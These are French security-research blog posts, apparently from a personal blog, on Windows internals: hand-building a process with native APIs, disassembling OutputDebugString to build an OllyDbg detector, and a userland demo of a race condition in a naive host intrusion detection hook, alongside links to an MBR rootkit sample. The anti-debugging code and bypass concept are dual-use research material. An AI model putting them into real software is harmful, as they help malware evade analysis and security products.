NTSTATUS
NTAPI
RtlCreateProcessParameters(
PRTL_USER_PROCESS_PARAMETERS *ProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData
);
On retrouve un peu la même structure que celle de PROCESS_INFORMATION qu’on fournit en entrée à CreateProcess. Pour init le PEB on utilise le code suivant :
VOID CreateProcessParameters(HANDLE hProcess, PPEB Peb, PUNICODE_STRING ImageFile)
{
ULONG n;
PVOID p;
NTSTATUS Status;
PRTL_USER_PROCESS_PARAMETERS pp;
Status=RtlCreateProcessParameters(&pp, ImageFile, 0, 0, 0, 0, 0, 0, 0, 0);
if(!NT_SUCCESS(Status))
{
printf("Error with RtlCreateProcessParameters : 0x%x\n", Status);
return;
}
pp->Environment=CopyEnvironment(hProcess);
n=pp->MaximumLength;
p=0;
//alloue l'espace pour la structure RTL_USER_PROCESS_PARAMETERS
Status=ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE);
if(!NT_SUCCESS(Status))
{
printf("Error with ZwAllocateVirtualMemory : 0x%x\n", Status);
return;
}
//copie la structure dans l'espace memoire du process
Status=ZwWriteVirtualMemory(hProcess, p, pp, pp->MaximumLength, 0);
if(!NT_SUCCESS(Status))
{
printf("Error with ZwWriteVirtualMemory : 0x%x\n", Status);
return;
}
//met a jour le champ du PEB
Status=ZwWriteVirtualMemory(hProcess, (PCHAR)Peb + 0x10, &p, sizeof(p), 0);
if(!NT_SUCCESS(Status))
{
printf("Error with ZwWriteVirtualMemory : 0x%x\n", Status);
return;
}
Status=RtlDestroyProcessParameters(pp);
}
Enfin il reste la partie la plus mystérieuse, informé le subsystem à travers le LPC \Windows\ApiPort du process csrss.exe. Je vous avouerais que c’est la partie la moins documentée, qui, de ce fait, pose le plus de problème. D’après ce que j’ai pu récupérer, on aurait un code dans ce style là :
typedef struct _CSR_CAPTURE_HEADER {
ULONG Length;
PCSR_CAPTURE_HEADER RelatedCaptureBuffer;
ULONG CountMessagePointers;
PCHAR FreeSpace;
ULONG_PTR MessagePointerOffsets[1]; // Offsets within CSR_API_MSG of pointers
} CSR_CAPTURE_HEADER, *PCSR_CAPTURE_HEADER;
typedef ULONG CSR_API_NUMBER;
typedef struct _PBASE_CREATEPROCESS_MSG {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
DWORD CreationFlags;
CLIENT_ID DebuggerClientId;
DWORD VdmBinaryType;
}BASE_CREATEPROCESS_MSG ,*PBASE_CREATEPROCESS_MSG;
typedef struct _BASE_API_MSG {
PORT_MESSAGE h;
PCSR_CAPTURE_HEADER CaptureBuffer;
CSR_API_NUMBER ApiNumber;
ULONG ReturnValue;
ULONG Reserved;
union {
BASE_CREATEPROCESS_MSG CreateProcess;
} u;
} BASE_API_MSG, *PBASE_API_MSG;
VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid)
{
NTSTATUS Status;
BASE_API_MSG m;
PBASE_CREATEPROCESS_MSG a=(PBASE_CREATEPROCESS_MSG)&m.u.CreateProcess;
RtlZeroMemory(&m, sizeof(m));
a->hProcess=hProcess;
a->hThread=hThread;
a->dwProcessId=pid;
a->dwThreadId=tid;
Status=CsrClientCallServer((PVOID)&m, 0, 0x10000, sizeof(*a));
if(!NT_SUCCESS(Status))
{
printf("Error with CsrClientCallServer : 0x%x\n", Status);
return;
}
}
Hop quand ca c’est fait, il n’y a plus qu’a lancé le thread avec ResumeThread et c’est partit. Normalement …
Le code que je fournis ne marche pas à chaque fois, j’ai un peu de mal à déterminer d’ou provient le bug et je serais content si quelqu’un pouvais me donner une piste voir même la solution.
En fait, au départ, si j’ai commencé ce code, c’était dans l’optique de crée un process à partir de rien sur le disque. Je voulais uniquement crée la section depuis la mémoire d’un process « lanceur » qui aurait servit de base pour ZwCreateProcess, apparemment dès qu’on utilise l’attribut SEC_IMAGE avec ZwCreateSection, il faut obligatoirement un handle sur un fichier exécutable. De ce fait, je n’ai pas réussit à implémenter ma petite idée, tant pis
Vous trouverez le code+binaire ici :
http://ivanlef0u.fr/repo/CreateProcess.rar
Sinon, pour jouer, quelques liens sur le petit monstre du moment, je veux bien sur parler du rooktit infectant le MBR Pour ceux qui s’ennuient vous pouvez même récupérer le binaire chez OffensiveComputing.
http://www2.gmer.net/mbr/
http://www.symantec.com/enterprise/security_response/weblog/2008/01/from_bootroot_to_trojanmebroot.html
http://www.microsoft.com/security/portal/Entry.aspx?name=VirTool:WinNT/Sinowal.A
Refs :
Windows Intenal, Chapter 6, Flow of CreateProcess
http://book.itzero.com/read/microsoft/0507/Microsoft.Press.Microsoft.Windows.Internals.Fourth.Edition.Dec.2004.internal.Fixed.eBook-DDU_html/0735619174/ch06lev1sec2.html
Kernel-mode backdoors for Windows NT
http://www.phrack.org/issues.html?issue=62&id=6&mode=txt
What Goes On Inside Windows 2000: Solving the Mysteries of the Loader
http://msdn.microsoft.com/msdnmag/issues/02/03/Loader/
Windows 2000 Native Api Reference
Example 6.2: Creating a Win32 Process
A catalog of NTDLL kernel mode to user mode callbacks, part 6: LdrInitializeThunk
http://www.nynaeve.net/?p=205
janvier 19th, 2008
J’étais tranquillement en train de debugger avec Olly un de mes soft qui utilisait l’API OutputDegugString lorsque en écoutant du scremo Jap (c’est du bon !) lorsque que je suis tombé sur un paradoxe que seul Chuck Norris aurait pu comprendre au premier coup d’oeil. Le message de debug apparaissait bien sous Olly mais pas dans le tool DebugView qui est censé afficher les messages provenant de cette API. A partir de ce moment un WTF a germé dans mon esprit comme si je me retrouvais face un PABX datant des années 10 avant JR.
Beaucoup de gens connaissent l’API OutputDebugString comme anti-Olly-v1.10 utilisant le fait que OllyDbg plante lorsqu’il reçoit une string mal formaté. Dans mon cas j’ai affaire a un bug qui permettrait de détecter la présence de OllyDbg. Dans ce post je vais essayer de vous présenter le fonctionnement de l’API OutputDebugString puis comment concevoir un anti-olly basé dessus.
OutputDebugString n’est pas très difficile à utiliser, elle demande en paramètre juste un pointeur sur une string (AINSI ou Unicode, au choix). Je m’en sers surtout pour debug des programmes, style DLL, pour obtenir des messages d’erreurs que je peux lire avec DebugView. Bon finit de jouer, sortons IDA (5.2 is out #@!) sur kernel32 et désassemblons OutputDebugStringA.
; Exported entry 636. OutputDebugStringA
; Attributes: bp-based frame
; void __stdcall OutputDebugStringA(LPCSTR lpOutputDebugString)
public _OutputDebugStringA@4
_OutputDebugStringA@4 proc near
Arguments= dword ptr -244h
var_240= dword ptr -240h
var_23C= dword ptr -23Ch
var_238= dword ptr -238h
var_234= dword ptr -234h
var_230= dword ptr -230h
hObject= dword ptr -22Ch
var_228= dword ptr -228h
lpBaseAddress= dword ptr -224h
hEvent= dword ptr -220h
var_21C= byte ptr -21Ch
var_1C= dword ptr -1Ch
ms_exc= CPPEH_RECORD ptr -18h
arg_0= dword ptr 8
push 234h
push offset dword_7C85A0A0
call __SEH_prolog ; hHandle
mov eax, ___security_cookie
mov [ebp+var_1C], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_23C], ecx
and [ebp+ms_exc.disabled], 0
mov eax, ecx
lea esi, [eax+1]
loc_7C859DA1:
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_7C859DA
sub eax, esi
inc eax
mov [ebp+Arguments], eax
mov [ebp+var_240], ecx
lea eax, [ebp+Arguments]
push eax ; lpArguments
push 2 ; nNumberOfArguments
push 0 ; dwExceptionFlags
push 40010006h ; dwExceptionCode ; DBG_PRINTEXCEPTION_C
call _RaiseException@16 ; RaiseException(x,x,x,x)
jmp loc_7C85A023
loc_7C85A023:
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov ecx, [ebp+var_1C]
call @__security_check_cookie@4 ; __security_check_cookie(x)
call __SEH_epilog
retn 4
_OutputDebugStringA@4 endp
Ok, comme on peut le voir, la fonction en fait appel qu’a l’api RaiseException qui comme son joli nom l’indique va nous générer une belle exception. Le prototype de RaiseException est le suivant :
void RaiseException(
DWORD dwExceptionCode,
DWORD dwExceptionFlags,
DWORD nNumberOfArguments,
const ULONG_PTR* lpArguments
);
Dans le cas présent on a un dwExceptionCode qui vaut 0×40010006 (DBG_PRINTEXCEPTION_C). Le param lpArguments pointe sur 2 valeurs, le premier arg correspond à la taille de la string+1, le second à un pointeur dessus, par exemple :
0012FCD8 40010006 |ExceptionCode = 40010006
0012FCDC 00000000 |ExceptionFlags = EXCEPTION_CONTINUABLE
0012FCE0 00000002 |nArguments = 2
0012FCE4 0012FCF4 \pArguments = 0012FCF4
0012FCF4 06 00 00 00 70 03 40 00 ...p @.
String en 0x400370
00400370 42 6F 75 68 0A 00 00 00 Bouh....
Après on se retrouve dans 2 cas, soit il n’y pas de debugger attaché au programme et l’exception est géré par le SEH du thread, soit il y a un debugger, style OllyDbg , qui catch les exceptions et décide de leurs sorts. Commençons avec le cas « normal », lorsqu’un thread génère une exception le SEH (Structured Exception Handler) va voir ce qu’il peut faire pour éviter d’appeler le méchant UnhandledExceptionFilter qui vous dit que votre programme a foiré comme une daube car l’exception n’a pu être gérée.
En toute logique, après l’appel à NtRaiseException par RtlRaiseException, on se retrouve dans le dernier SEH installé dans la stack du thread et pointé par fs:[0].
kd> kv
ChildEBP RetAddr Args to Child
0012f8a4 7c9137bf 0012f990 0012ff24 0012f9ac kernel32!_except_handler3 (FPO: [Uses EBP] [3,0,7])
0012f8c8 7c91378b 0012f990 0012ff24 0012f9ac ntdll!ExecuteHandler2+0x26
0012f978 7c91eafa 00000000 0012f9ac 0012f990 ntdll!ExecuteHandler+0x24
0012f978 7c812a5b 00000000 0012f9ac 0012f990 ntdll!KiUserExceptionDispatcher+0xe (FPO: [2,0,0]) (CONTEXT @ 0012f9ac)
0012fccc 7c859dcc 40010006 00000000 00000002 kernel32!RaiseException+0x53 (FPO: [Non-Fpo])
0012ff34 004002a2 00400270 00370031 002d0031 kernel32!OutputDebugStringA+0x54 (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ff4c 0040038c 00000001 00323778 00322978 OutputDbgStr+0x2a2
0012ffc0 7c816fd7 00370031 002d0031 7ffdf000 OutputDbgStr+0x38c
0012fff0 00000000 004002a9 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])
Remarqué que le dernier SEH a été installé par l’api OutputDebugString elle même avec le « call __SEH_prolog ». On se retrouve donc, dans le SEH, _except_handler3 de kernel32. C’est là qu’il faut savoir lire de la doc, j’ai relu le fameux « A Crash Course on the Depths of Win32 Structured Exception Handling » de Matt Pietrek pour comprendre plusieurs choses. Normalement lorsqu’on décide d’installer un SEH sur la stack on réalise l’opération suivante :
PUSH ADDR HANDLER
FS PUSH [0] ;address of next ERR structure
FS MOV [0],ESP ;give FS:[0] the ERR address just made
_EXCEPTION_REGISTRATION struc
prev dd ?
handler dd ?
_EXCEPTION_REGISTRATION ends
On push sur la stack une structure EXCEPTION_REGISTRATION qui contient un pointeur sur le SEH précédant puis un pointeur sur la routine qui devra gérer l’exception. C’est le cas le plus courant.
Dans le cas ou le binaire (ici Kernel32) se retrouve compiler avec un outil comme Visual C++, la structure EXCEPTION_REGISTRATION change un peu. On tombe sur une struct plus étendue :
struct _EXCEPTION_REGISTRATION{
struct _EXCEPTION_REGISTRATION *prev
void (*handler)(PEXCEPTION_RECORD,
PEXCEPTION_REGISTRATION,
PCONTEXT,
PEXCEPTION_RECORD)
struct scopetable_entry *scopetable
int trylevel
int _ebp
PEXCEPTION_POINTERS xpointers
}
Il suffit donc de regardé le SEH placé, juste avant l’appel à RaiseException pour voir le contenu de la structure EXCEPTION_REGISTRATION
0012FF24 0012FFB0 Pointer to next SEH record
0012FF28 7C839AA8 SE handler
0012FF2C 7C85A0A0 kernel32.7C85A0A0
0012FF30 00000000
kd> ln 7C839AA8
(7c839aa8) kernel32!_except_handler3
kd> dd 7c85a0a0 l 3
7c85a0a0 ffffffff 7c859dd6 7c859ddf
Le champ de plus intéressant est le pointeur sur la structure SCOPETABLE.
typedef struct _SCOPETABLE
{
DWORD previousTryLevel;
DWORD lpfnFilter
DWORD lpfnHandler
} SCOPETABLE, *PSCOPETABLE;
Dans mon cas, j’ai commme lpfnFilter la fonction suivante :
lpfnFilter :
7C859DD6 XOR EAX,EAX
7C859DD8 INC EAX
7C859DD9 RET
lpfnFilter est juste une simple fonction qui renvoie true. Le lpfnHandler est quand à lui beaucoup plus intéressant. En fait la fonction except_handler3 va appeler lpfnFilter et regarder son résultat. Si jamais celui-ci vaut 1 (« #define EXCEPTION_EXECUTE_HANDLER 1″ dans except.h) alors elle execute le handler pointé par lpfnHandler de la structure SCOPETABLE.
Et qu’est qu’on trouve dans le jolie lpfnHandler ? Un beau disass !
lpfnHandler :
7C859DDF MOV ESP,DWORD PTR SS:[EBP-18]
7C859DE2 XOR EDI,EDI
7C859DE4 MOV DWORD PTR SS:[EBP-234],EDI
7C859DEA MOV DWORD PTR SS:[EBP-224],EDI
7C859DF0 MOV DWORD PTR SS:[EBP-22C],EDI
7C859DF6 MOV DWORD PTR SS:[EBP-220],EDI
7C859DFC MOV EAX,DWORD PTR DS:[7C884040]
7C859E01 CMP EAX,EDI
7C859E03 JNZ SHORT kernel32.7C859E27
7C859E05 CMP BYTE PTR DS:[7C8863F8],0
7C859E0C JNZ SHORT kernel32.7C859E23
7C859E0E CALL kernel32.7C859B7C ; CreateDBWinMutex
7C859E13 MOV DWORD PTR DS:[7C884040],EAX
7C859E18 CMP EAX,EDI
7C859E1A JNZ SHORT kernel32.7C859E27
7C859E1C MOV BYTE PTR DS:[7C8863F8],1
7C859E23 CMP EAX,EDI
7C859E25 JE SHORT kernel32.7C859E9B
7C859E27 PUSH -1 ; /Timeout = INFINITE
7C859E29 PUSH EAX ; |hObject
7C859E2A CALL kernel32.WaitForSingleObject ; \WaitForSingleObject
7C859E2F PUSH kernel32.7C85A090 ; /MappingName = "DBWIN_BUFFER"
7C859E34 PUSH EDI ; |InheritHandle
7C859E35 PUSH 2 ; |Access = FILE_MAP_WRITE
7C859E37 CALL kernel32.OpenFileMappingA ; \OpenFileMappingA
7C859E3C MOV DWORD PTR SS:[EBP-234],EAX
7C859E42 CMP EAX,EDI
7C859E44 JE SHORT kernel32.7C859E88
7C859E46 PUSH EDI ; /MapSize
7C859E47 PUSH EDI ; |OffsetLow
7C859E48 PUSH EDI ; |OffsetHigh
7C859E49 PUSH 6 ; |AccessMode = 6 ; FILE_MAP_WRITE|FILE_MAP_READ
7C859E4B PUSH EAX ; |hMapObject
7C859E4C CALL kernel32.MapViewOfFile ; \MapViewOfFile
7C859E51 MOV DWORD PTR SS:[EBP-224],EAX
7C859E57 CMP EAX,EDI
7C859E59 JE SHORT kernel32.7C859E88
7C859E5B PUSH kernel32.7C85A07C ; /EventName = "DBWIN_BUFFER_READY"
7C859E60 PUSH EDI ; |Inheritable
7C859E61 PUSH 100000 ; |Access = 100000
7C859E66 CALL kernel32.OpenEventA ; \OpenEventA
7C859E6B MOV DWORD PTR SS:[EBP-22C],EAX
7C859E71 CMP EAX,EDI
7C859E73 JE SHORT kernel32.7C859E88
7C859E75 PUSH kernel32.7C85A068 ; /EventName = "DBWIN_DATA_READY"
7C859E7A PUSH EDI ; |Inheritable
7C859E7B PUSH 2 ; |Access = 2
7C859E7D CALL kernel32.OpenEventA ; \OpenEventA
7C859E82 MOV DWORD PTR SS:[EBP-220],EAX
7C859E88 CMP DWORD PTR SS:[EBP-220],EDI
7C859E8E JNZ SHORT kernel32.7C859E9B
7C859E90 PUSH DWORD PTR DS:[7C884040] ; /hMutex = NULL
7C859E96 CALL kernel32.ReleaseMutex ; \ReleaseMutex
7C859E9B MOV DWORD PTR SS:[EBP-4],1
7C859EA2 MOV EAX,DWORD PTR SS:[EBP-23C]
7C859EA8 MOV DWORD PTR SS:[EBP-228],EAX
7C859EAE LEA ECX,DWORD PTR DS:[EAX+1]
7C859EB1 MOV DL,BYTE PTR DS:[EAX]
7C859EB3 INC EAX
7C859EB4 TEST DL,DL
7C859EB6 JNZ SHORT kernel32.7C859EB1
7C859EB8 SUB EAX,ECX
7C859EBA MOV DWORD PTR SS:[EBP-230],EAX
7C859EC0 MOV ESI,DWORD PTR SS:[EBP-230]
7C859EC6 CMP ESI,EDI
7C859EC8 JBE kernel32.7C859F94
7C859ECE CMP DWORD PTR SS:[EBP-220],EDI
7C859ED4 JE SHORT kernel32.7C859F39
7C859ED6 PUSH 2710 ; /Timeout = 10000. ms
7C859EDB PUSH DWORD PTR SS:[EBP-22C] ; |hObject
7C859EE1 CALL kernel32.WaitForSingleObject ; \WaitForSingleObject
7C859EE6 TEST EAX,EAX
7C859EE8 JNZ SHORT kernel32.7C859F39
7C859EEA CALL kernel32.GetCurrentProcessId ; [GetCurrentProcessId
7C859EEF MOV EDX,DWORD PTR SS:[EBP-224]
7C859EF5 MOV DWORD PTR DS:[EDX],EAX ; copie le PID dans le buff
7C859EF7 MOV EAX,0FFB
7C859EFC CMP ESI,EAX
7C859EFE JNB SHORT kernel32.7C859F02
7C859F00 MOV EAX,ESI
7C859F02 MOV EBX,EAX
7C859F04 MOV DWORD PTR SS:[EBP-238],EBX
7C859F0A MOV ECX,EBX
7C859F0C MOV ESI,DWORD PTR SS:[EBP-228]
7C859F12 LEA EDI,DWORD PTR DS:[EDX+4]
7C859F15 SHR ECX,2
7C859F18 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> ; copie la string dans la mapped section
7C859F1A MOV ECX,EAX
7C859F1C AND ECX,3
7C859F1F REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
7C859F21 MOV EAX,DWORD PTR SS:[EBP-224]
7C859F27 MOV BYTE PTR DS:[EBX+EAX+4],0
7C859F2C PUSH DWORD PTR SS:[EBP-220] ; /hEvent
7C859F32 CALL kernel32.SetEvent ; \SetEvent
7C859F37 JMP SHORT kernel32.7C859F81
7C859F39 MOV EAX,1FF
7C859F3E CMP ESI,EAX
7C859F40 JNB SHORT kernel32.7C859F44
7C859F42 MOV EAX,ESI
7C859F44 MOV EBX,EAX
7C859F46 MOV DWORD PTR SS:[EBP-238],EBX
7C859F4C MOV ECX,EBX
7C859F4E MOV ESI,DWORD PTR SS:[EBP-228]
7C859F54 LEA EDI,DWORD PTR SS:[EBP-21C]
7C859F5A SHR ECX,2
7C859F5D REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
7C859F5F MOV ECX,EAX
7C859F61 AND ECX,3
7C859F64 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
7C859F66 MOV BYTE PTR SS:[EBP+EBX-21C],0
7C859F6E LEA EAX,DWORD PTR SS:[EBP-21C]
7C859F74 PUSH EAX
7C859F75 PUSH kernel32.7C85A064 ; ASCII "%s"
7C859F7A CALL
7C859F7F POP ECX
7C859F80 POP ECX
7C859F81 ADD DWORD PTR SS:[EBP-228],EBX
7C859F87 SUB DWORD PTR SS:[EBP-230],EBX
7C859F8D XOR EDI,EDI
7C859F8F JMP kernel32.7C859EC0
7C859F94 OR DWORD PTR SS:[EBP-4],FFFFFFFF
7C859F98 JMP SHORT kernel32.7C859FCC
Hooooo c’est beau. Ce disass correspond au vrai fonctionnement de OutputDebugString. La fonction commence d’abord par ouvrir un handle sur la section nommée DWIN_BUFFER avec l’API OpenFileMapping. La section étant globale on la retrouve dans l’ObjectDirectory \BaseNamedObjects. Remarquez que OutputDebugString ne crée pas la section DWIN_BUFFER, cette section doit être crée par l’utilisateur himself, ce n’est en aucun cas un binaire de Windows qui la crée (comme je le pensais au départ …). Ce qui veut dire que l’appel à OpenFileMapping peut très bien foirer mais en étant attentif on voit que la fonction va utiliser OpenEvent pour obtenir un handle sur l’event DBWIN_BUFFER_READY et attendre 10 sec dessus avec WaitForSingleObject. Si jamais durant ces 10sec l’event n’est pas signaled par un SetEvent alors l’api ne copiera pas les données dans la mapped section.
En gros, c’est au programme qui a crée la section de signalé toutes les 10 sec au moins que la section est diponible et que OutputDebugString peut y écrire dedans. Justement, après avoir écrit dans la section (si cela est possible), l’api va le signaler avec l’event DBWIN_DATA_READY pour dire aux autres process qui seraient en train de lire la section que des données sont dispo.
Je vous invite à regarder la pseudo implémentation de OutputDebugString.
Bon sachant tout cela, revenons à notre OllyDbg. Ce qui est se passe est très simple, Olly va handler l’exception 0×40010006 de son coté et affiché le param de OutputDebugString pour lui tout seul. Ce qui fait que le lpfnHandler de la SCOPETABLE ne sera pas exécuté, c’est pourquoi on ne retrouve pas notre message sous DebugView.
L’idée est donc très simple pour détecter Olly, dans notre programme on lance un thread qui va crée une section nommé DWIN_BUFFER puis on appel OutputDebugString en parallèle. On dit au thread d’attendre l’event DBWIN_DATA_READY pendant un temps assez court. Après plusieurs cas possible, soit le wait se termine et aucun message n’a été écrit, alors un debugger à empêcher OutputDebugString de fonctionner normalement. Soit l’event est signaled, dans ce cas sachant que le message est précédé du PID du process qui a écrit dans la section DWIN_BUFFER, on compare ce PID à celui de notre process et on vérif si il correspond. Si oui, alors c’est bon, il n’y pas de debugger, sinon on pose la bombe (HEQDSH0T !).
On se retrouve avec le bout de code suivant pour notre thread :
//Wait for the DBWIN_BUFFER_READY event to be signaled: this says that the memory buffer is no longer in use.
//Most of the time, this event will be signaled immediately when it's examined, but it won't wait longer
//than 10 seconds for the buffer to become ready (a timeout abandons the request).
hEventBuff=CreateEvent(NULL, false, false, "DBWIN_BUFFER_READY");
if(hEventBuff==INVALID_HANDLE_VALUE)
{
printf("Error with CreateEvent : %d\n", GetLastError());
return 0;
}
//Event servant a OutputDebugString pour dire qu'un message a ete inscrit dans le buffer
hEventData=CreateEvent(NULL, false, false, "DBWIN_DATA_READY");
if(hEventData==INVALID_HANDLE_VALUE)
{
printf("Error with CreateEvent : %d\n", GetLastError());
return 0;
}
//cree la section pourtant le nom DBWIN_BUFFER, on la retrouve dans l'ObjectDirectory \BaseNamedObjects
hMap=CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, 4096, "DBWIN_BUFFER");
if(hMap==NULL)
{
printf("Error with OpenFileMapping : %d\n", GetLastError());
CloseHandle(hEventData);
CloseHandle(hEventBuff);
return 0;
}
pDbgBuff=MapViewOfFile(hMap,
FILE_MAP_READ,
0,
0,
512);
if(pDbgBuff==NULL)
{
printf("Error with MapViewOfFile : %d\n", GetLastError());
CloseHandle(hMap);
CloseHandle(hEventData);
CloseHandle(hEventBuff);
return 0;
}
SetEvent(hEventBuff);
//2 sec de wait
WaitForSingleObject(hEventData, 2000);
printf("PID : %d -> %s\n", *(PDWORD)pDbgBuff, (PCHAR)pDbgBuff+4);
//dans le msg on a une struct du type
//DWORD PID;
//CHAR Msg;
//on check le PID, si il est diff de notre process alors c'est qu'il y a interception du msg par un debugger
if((*(PDWORD)pDbgBuff)!=(DWORD)GetCurrentProcessId())
printf("FU ! OllyDbg detected, GetCurrentProcessId() : %d\n", GetCurrentProcessId());
SetEvent(hEventBuff);
CloseHandle(hEventData);
CloseHandle(hEventBuff);
Et voilà, un joli anti-olly tout mimi.
Juste un mot sur la suite de OutputDebugString. Celle-vi va appeler DbgPrint qui ensuite va faire les appels suivants :
DbgPrint -> vDbgPrintExWithPrefix -> DebugPrint -> DebugService -> int 2Dh (KiDebugService)
On se retrouve dans le kernel sur la fonction KdpPrint
f744e8f0 8067e398 ffffffff 00000000 0012faa8 nt!KdpPrint (FPO: [Non-Fpo])
f744e928 80506452 f744ed64 00000000 f744ed10 nt!KdpTrap+0xd9 (FPO: [Non-Fpo])
f744ecf4 804df235 f744ed10 00000000 f744ed64 nt!KiDispatchException+0x1bb (FPO: [Non-Fpo])
f744ed5c 804df947 0012fa04 7c94058f badb0d00 nt!CommonDispatchException+0x4d (FPO: [0,20,0])
f744ed5c 7c940590 0012fa04 7c94058f badb0d00 nt!KiTrap03+0xad (FPO: [0,0] TrapFrame @ f744ed64)
0012fa04 7c94056b 00000001 0012faa8 00000005 ntdll!DebugService+0x1c (FPO: [Non-Fpo])
0012fa20 7c940528 0012faa0 ffffffff 00000000 ntdll!DebugPrint+0x1c (FPO: [Non-Fpo])
0012fcc4 7c94040a 7c94040c ffffffff 00000000 ntdll!vDbgPrintExWithPrefix+0x1af (FPO: [Non-Fpo])
0012fce0 7c859f7f 7c85a064 0012fd24 00370031 ntdll!DbgPrint+0x1a (FPO: [Non-Fpo])
*** ERROR: Module load completed but symbols could not be loaded for OutputDbgStr.exe
0012ff40 0040029e 00400270 0012ffc0 00400383 kernel32!OutputDebugStringA+0x1fd (FPO: [Non-Fpo])
KdpPrint va se charger d’envoyer le message au kernel debugger (si il est présent) attaché au système.
Hop le binaire+code :
http://ivanlef0u.fr/repo/Output.rar
Sinon, c’est encore chaud, les papers de la PacSec sont là :
http://dragos.com/PacSec2007/
ref :
Understanding Win32 « OutputDebugString »
http://ocliteracy.com/techtips/outputdebugstring.html
NT Debug message support
http://alter.org.ua/en/docs/nt_kernel/kdprint/
A DBWin32 Debugger for Windows
http://www.ddj.com/cpp/184403245
décembre 3rd, 2007
Monstrueuse soirée hier, je suis allé au concert de Eths ! Première partie de Babylon Pression, totalement inconnu pour moi, ils m’ont complètement éclaté quand ils sont descendus jouer dans la « fosse » avec le pogo autour d’eux … IMPRESSIVE ! Dès que j’ai l’occasion de les revoir j’y vais. La suite Eths, de la bombe sur scène, un son qui annihile les oreilles tellement les enceintes weak saturaient, surtout le passage noisecore ou Candice à crié pendant 2 mins non stop, ca fait de la peur :] Pour vous faire une idée, ca ressemblait en gros à ce live . Ma preferée du live ? V.I.T.R.I.O.L extraite de leur dernier album, c’est booonnnnn !
Le prochain concert, ca sera black métal avec Mayhem. Cette fois ci je n’irais pas jouer aussi près du pogo 
Sinon nouvelle découverte nu-metal pour moi, Flyleaf et en plus la chix est cute ! (emo time, So I Thought). Si vous cherchez du bon son y’en a sur le blog de mon pote.
Depuis que j’ai 15 RSS sur des blogs metal qui proposent des albums en DDL tous les jours j’ai du mal à résister (rofl@Olivennes, ou je vais dl mes pr0nz now …)
Revenons-en à notre joli OS. Aujourd’hui nous allons voir que la préemption est un superbe mécanisme mais que dans certaine situation elle peut poser des problèmes de sécu si on ne protège pas certaines parties de code.
Je me place dans l’hypothèse ou le système possède un HIDS controlant l’ouverture de handles sur tous types d’objets. Typiquement un AV ou FW hookant dans le kernel la SSDT des apis commes NtCreateFile, NtOpenFile, NtOpenSection, etc …
L’HIDS dans ses hooks vas appeler les fonctions originales puis contrôler leurs retours. Dans le cas ou le retour de la fonction ne lui plait pas il va appliquer ses règles sur le handle ouvert. Pour mieux comprendre, je vais prendre un exemple concret. L’histoire se déroule sur un système avec un HDIS pas très malin. Ce dernier hook le syscall NtOpenSection pour contrôler l’accès au \Device\PhsysicalMemory, jusque là tout va bien. Problème, ce con de HDIS ne fonctionne pas vraiment dans le bon ordre, en effet il appelle la vrai NtOpenSection puis check le résultat. Dans le cas ou l’ouverture est valide et que l’object section concerné était \Device\PhsysicalMemory il ferme le premier handle et le rouvre en enlevant le GENERIC_WRITE de l’ACCESS_MASK … pas très très fort le HIDS.
J’ai reproduit le concept dans un code userland (pour l’exemple) avec le code ci-dessous. J’ai prit le device C: à la place du \Device\PhsysicalMemory. J’ai une routine qui correspond à un hook de CreateFile (MyCreateFile) qui est appelée par un thread (ThreadOpen). En premier MyCreateFile ouvre un handle sur le device avec les droits passés en argument, vérifié si l’ouverture est possible. Ensuite si le param dwDesiredAccess demande une ouverture en GENERIC_READ alors MyCreateFile va le désactiver et renvoyé un handle en GENERIC_READ.
#include <windows.h>
#include <stdio.h>
HANDLE MyCreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
)
{
HANDLE hFile;
hFile=CreateFile(lpFileName,
dwDesiredAccess,
dwShareMode,
lpSecurityAttributes,
dwCreationDisposition,
dwFlagsAndAttributes,
hTemplateFile);
//check si l'ouverture est ok
if(hFile==INVALID_HANDLE_VALUE)
return INVALID_HANDLE_VALUE;
//2 cas, soit on demande un ouverture en écriture, alors on close le handle hFile
//et on reouvre le file en GENERIC_READ
//Sinon on renvoie le handle
if(dwDesiredAccess&GENERIC_WRITE)
{
CloseHandle(hFile);
printf("Removing GENERIC_WRITE righ\n");
hFile=CreateFile(lpFileName,
dwDesiredAccess&~GENERIC_WRITE, //vire le flag GENERIC_WRITE de dwDesiredAccess
dwShareMode,
lpSecurityAttributes,
dwCreationDisposition,
dwFlagsAndAttributes,
hTemplateFile);
if(hFile!=INVALID_HANDLE_VALUE)
return hFile;
}
else
return hFile;
return INVALID_HANDLE_VALUE;
}
DWORD WINAPI ThreadOpen(LPVOID lpParameter)
{
HANDLE hFile;
hFile=MyCreateFile("\\\\.\\C:",
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("Error with CreateFile : %d\n", GetLastError());
return 0;
}
CloseHandle(hFile);
return 0;
}
int main()
{
DWORD TID;
HANDLE hThread;
hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadOpen, NULL, 0, &TID);
if(hThread==NULL)
{
printf("Error with CreateThread : %d\n", GetLastError());
return 0;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
